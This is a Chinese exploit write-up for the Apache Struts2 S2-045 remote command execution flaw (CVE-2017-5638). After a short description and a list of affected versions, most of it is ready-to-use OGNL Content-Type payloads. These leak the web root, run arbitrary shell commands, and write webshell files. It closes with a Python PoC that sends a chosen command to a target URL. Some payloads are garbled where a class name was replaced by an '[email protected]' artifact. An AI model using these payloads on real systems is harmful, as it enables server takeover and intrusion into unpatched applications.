(CVE-2017-5638)S2-045

一、漏洞简介

Struts使用的Jakarta解析文件上传请求包不当,当远程攻击者构造恶意的Content-Type,可能导致远程命令执行。

实际上在default.properties文件中,struts.multipart.parser的值有两个选择,分别是jakarta和pell(另外原本其实也有第三种选择cos)。其中的jakarta解析器是Struts 2框架的标准组成部分。默认情况下jakarta是启用的,所以该漏洞的严重性需要得到正视。

二、漏洞影响

Struts 2.3.5 -- Struts 2.3.31

Struts 2.5 -- Struts 2.5.10

三、复现过程

获取web相关信息exp

自己构造版本 优化前(并不适用2.5.10,但执行一次优化版本后就适用了):

%{(#[email protected]@DEFAULT_MEMBER_ACCESS).(#wmres=#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse']).(#wmres.getWriter().print("S2-045 dir--***")).(#wmreq=#context.get('com.opensymphony.xwork2.dispatcher.HttpServletRequest')).(#wmres.getWriter().println(#wmreq.getSession().getServletContext().getRealPath("/"))).(#wmres.getWriter().flush()).(#wmres.getWriter().close())}.multipart/form-data

自己构造版本 优化后(遇到个xxxx 貌似不适用。我擦):

%{(#[email protected]@DEFAULT_MEMBER_ACCESS).((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#_memberAccess))).(#wmres=#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse']).(#wmres.getWriter().print("S2-045 dir--***")).(#wmreq=#context.get('com.opensymphony.xwork2.dispatcher.HttpServletRequest')).(#wmres.getWriter().println(#wmreq.getSession().getServletContext().getRealPath("/"))).(#wmres.getWriter().flush()).(#wmres.getWriter().close())}.multipart/form-data

网上别人的版本

%{(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#path=#context.get('com.opensymphony.xwork2.dispatcher.HttpServletRequest').getSession().getServletContext().getRealPath('/')).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(#ros.write(#path.getBytes())).(#ros.flush())}.multipart/form-data

执行命令

网上公开修改版本:

%{(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#wm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#wm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}.multipart/form-data

上传文件getshell

自己构造版本(并不适用2.5.10):

%{(#[email protected]@DEFAULT_MEMBER_ACCESS).(#res=#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse']).(#res.getWriter().print("OK")).(#req=#context.get('com.opensymphony.xwork2.dispatcher.HttpServletRequest')).(#res.getWriter().flush()).(#res.getWriter().close()).(new java.io.BufferedWriter(new java.io.FileWriter("/1111/")).append(new java.net.URLDecoder().decode("shell",'UTF-8')).close())}.multipart/form-data

实用度高的版本无限制长度getshell版本(并不适用2.5.10)

%{(#[email protected]@DEFAULT_MEMBER_ACCESS).(#req=#context.get('com.opensymphony.xwork2.dispatcher.HttpServletRequest')).(#bf=new java.io.BufferedWriter(new java.io.FileWriter("C:\\1.txt"))).(@org.apache.commons.io.IOUtils@copy(#req.getInputStream(),#bf)).(#bf.flush()).(#bf.close()).(#res=#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse']).(#res.getWriter().print("OK")).(#res.getWriter().flush()).(#res.getWriter().close())}.multipart/form-data

注意:无限制长度版本是因为Content-Type长度有限,它将post数据包里面所有的数据都写进指定路径文件里面。

poc

#! /usr/bin/env python
# encoding:utf-8
import urllib2
import sys
from poster.encode import multipart_encode
from poster.streaminghttp import register_openers
def poc():
    if len(sys.argv) < 3:
        print '''Usage: poc.py http://www.0-sec.org/example/HelloWorld.action "command"'''
        sys.exit()
    register_openers()
    datagen, header = multipart_encode({"image": open("tmp.txt", "w+")})
    header["User-Agent"]="Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
    header["Content-Type"]="%{(#nike='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='"+str(sys.argv[2])+"').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"
    request = urllib2.Request(str(sys.argv[1]),datagen,headers=header)
    response = urllib2.urlopen(request)
    print response.read()
poc()